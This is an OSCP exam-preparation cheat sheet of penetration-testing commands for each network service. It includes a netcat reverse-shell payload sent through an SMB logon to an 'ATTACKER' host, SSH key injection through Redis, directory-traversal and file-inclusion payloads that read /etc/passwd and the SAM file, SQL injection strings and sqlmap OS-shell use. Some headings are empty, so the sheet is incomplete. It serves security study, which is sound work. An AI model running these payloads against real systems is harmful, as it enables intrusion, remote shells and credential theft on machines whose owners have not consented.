OSCP Notes

Purpose

Provide detailed service enumeration and exploitation techniques for OSCP exam preparation. Cover protocol-specific attacks, common vulnerabilities, and proven exploitation methods for each major service.

Inputs/Prerequisites

• Kali Linux or penetration testing distribution
• Target IP addresses and network access
• Nmap, Metasploit, and standard pentest tools
• Understanding of network protocols

Outputs/Deliverables

• Service enumeration results
• Identified vulnerabilities
• Working exploits and shell access
• Captured credentials
• Documented attack methodology

Core Workflow

1. Port Scanning

# Comprehensive Nmap scan
nmap -sC -sV -o nmap -A -T5 10.10.10.x

# Host discovery
nmap -sn 10.10.1.1-254 -vv -oA hosts
netdiscover -r 10.10.10.0/24

# DNS server discovery
nmap -p 53 10.10.10.1-254 -vv -oA dcs

# NSE vulnerability scripts
nmap -sV --script=vulscan/vulscan.nse TARGET

# List available scripts
ls /usr/share/nmap/scripts/ssh*
ls /usr/share/nmap/scripts/smb*

# Full port scan
masscan -p1-65535,U:1-65535 --rate=1000 10.10.10.x -e tun0 > ports
ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | uniq | tr '\n' ',')
nmap -Pn -sV -sC -p$ports 10.10.10.x

2. FTP Enumeration (Port 21)

# Check anonymous access
ftp TARGET
# Username: anonymous
# Password: anonymous

# Upload files if writable
ftp> put shell.php

# Common FTP exploits:
# - vsftpd 2.3.4 Backdoor
# - ProFTPD 1.3.5 mod_copy

# Nmap scripts
nmap --script ftp-anon TARGET
nmap --script ftp-vsftpd-backdoor TARGET

3. SSH Enumeration (Port 22)

# Key-based authentication
# id_rsa.pub: Public key for authorized_keys
# id_rsa: Private key for login

# Login with private key
ssh -i id_rsa user@TARGET

# Crack key passphrase
ssh2john id_rsa > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt

# Passwordless login setup
# Add id_rsa.pub to target's ~/.ssh/authorized_keys

# Banner grabbing
ssh -v TARGET
nmap -p 22 --script ssh-hostkey TARGET

4. DNS Enumeration (Port 53)

# Add host to /etc/hosts first
echo "10.10.10.135 target.htb" >> /etc/hosts

# Zone transfer
dig axfr target.htb @10.10.10.135
dnsrecon -d target.htb -t axfr

# Subdomain brute force
dnsrecon -d target.htb -t brt -D /usr/share/wordlists/subdomains.txt

# Reverse lookup
dnsrecon -r 10.10.10.0/24 -n 10.10.10.135

5. RPC Enumeration (Port 111/135)

# RPC Bind (111)
rpcclient --user="" --command=enumprivs -N TARGET
rpcinfo -p TARGET
rpcbind -p TARGET

# MS RPC (135)
rpcdump.py TARGET -p 135
rpcdump.py TARGET -p 135 | grep ncacn_np  # Get pipe names
rpcmap.py ncacn_ip_tcp:TARGET[135]

6. SMB Enumeration (Port 139/445)

# Protocol detection
nmap --script smb-protocols TARGET

# List shares
smbclient -L //TARGET
smbclient -L //TARGET -N  # Null session
smbclient --no-pass -L TARGET

# Connect to share
smbclient //TARGET/share_name
smbclient -U "username%password" //TARGET/sharename

# SMB Map enumeration
smbmap -H TARGET
smbmap -H TARGET -u '' -p ''
smbmap -H TARGET -s share_name

# CrackMapExec
crackmapexec smb TARGET -u '' -p '' --shares
crackmapexec smb TARGET -u 'user' -p 'pass' --shares

# Enum4Linux comprehensive
enum4linux -a TARGET

# RPC client enumeration
rpcclient -U "" TARGET
rpcclient> enumdomusers
rpcclient> enumdomgroups
rpcclient> queryuser [rid]
rpcclient> getdompwinfo

# Brute force
ncrack -u username -P rockyou.txt -T 5 TARGET -p smb -v

# Mount share
mount -t cifs "//TARGET/share/" /mnt/smb
mount -t cifs "//TARGET/share/" /mnt/smb -o vers=1.0,user=root,uid=0,gid=0

# SMB to reverse shell
smbclient -U "username%password" //TARGET/sharename
smb> logon "/=nc ATTACKER 4444 -e /bin/bash"

SMB Exploits:

7. SNMP Enumeration (Port 161)

# Basic enumeration
snmpwalk -c public -v1 TARGET
snmpcheck -t TARGET -c public
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt TARGET

# Nmap scan
nmap -sU -p 161 TARGET

# SNMP enum
snmpenum -t TARGET

# MIB values
snmpwalk -c public -v1 TARGET 1.3.6.1.2.1.25.4.2.1.2  # Running processes
snmpwalk -c public -v1 TARGET 1.3.6.1.2.1.25.6.3.1.2  # Installed software
snmpwalk -c public -v1 TARGET 1.3.6.1.4.1.77.1.2.25   # User accounts

8. IRC Enumeration (Port 194/6667)

# Nmap scripts
nmap -sV --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor -p 194,6660-7000 TARGET

# UnrealIRCd 3.2.8.1 Backdoor exploit available

9. NFS Enumeration (Port 2049)

# Show exports
showmount -e TARGET

# Mount share
mkdir /mnt/nfs
mount -t nfs TARGET:/share /mnt/nfs

# Permission issues
# If permission denied, may need to create user with matching UID

10. MySQL Enumeration (Port 3306)

# Nmap scripts
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 TARGET

# Connect to database
mysql -h TARGET -u root -p

# Basic queries
SHOW databases;
USE database;
SHOW tables;
SELECT * FROM users;

11. Redis Enumeration (Port 6379)

# Connect to Redis
redis-cli -h TARGET

# Get configuration
CONFIG GET *

# SSH key injection (if writable)
# Write to /var/lib/redis/.ssh/ or /home/redis/.ssh/

# Generate SSH key
ssh-keygen -t rsa -f redis_key

# Upload key
redis-cli -h TARGET
CONFIG SET dir /var/lib/redis/.ssh/
CONFIG SET dbfilename "authorized_keys"
SET ssh_key "\n\nssh-rsa AAAA...\n\n"
SAVE

12. Web Application Attacks

Directory Traversal:

# Linux
../../../etc/passwd
....//....//....//etc/passwd
..%252f..%252f..%252fetc/passwd

# Windows
..\..\..\windows\system32\drivers\etc\hosts
..%5c..%5c..%5cwindows\system32\config\sam

Local File Inclusion:

# Read files
page=../../../etc/passwd

# PHP filter (read source)
page=php://filter/convert.base64-encode/resource=index.php

# Log poisoning
# Inject PHP into User-Agent, then include access log
page=/var/log/apache2/access.log

SQL Injection:

# Basic tests
' OR 1=1--
" OR 1=1--
' UNION SELECT NULL--

# SQLMap
sqlmap -u "http://TARGET/page.php?id=1" --dbs
sqlmap -u "http://TARGET/page.php?id=1" -D database -T users --dump
sqlmap -u "http://TARGET/page.php?id=1" --os-shell

Quick Reference

Important File Locations

Linux:

/etc/passwd
/etc/shadow
/etc/hosts
/home/user/.ssh/id_rsa
/var/log/auth.log

Windows:

C:\Windows\System32\config\SAM
C:\Windows\System32\drivers\etc\hosts
C:\Users\Administrator\NTUser.dat
C:\inetpub\wwwroot\web.config

Common Ports Quick Reference

Constraints

• Exploits are version-specific
• Some services require credentials
• Firewalls may block enumeration
• Rate limiting may affect scanning

Examples

Example 1: Quick SMB Check

smbclient -L //TARGET -N && enum4linux -a TARGET

Example 2: Full Service Enum

nmap -sV -sC -p- TARGET -oA full_scan

Troubleshooting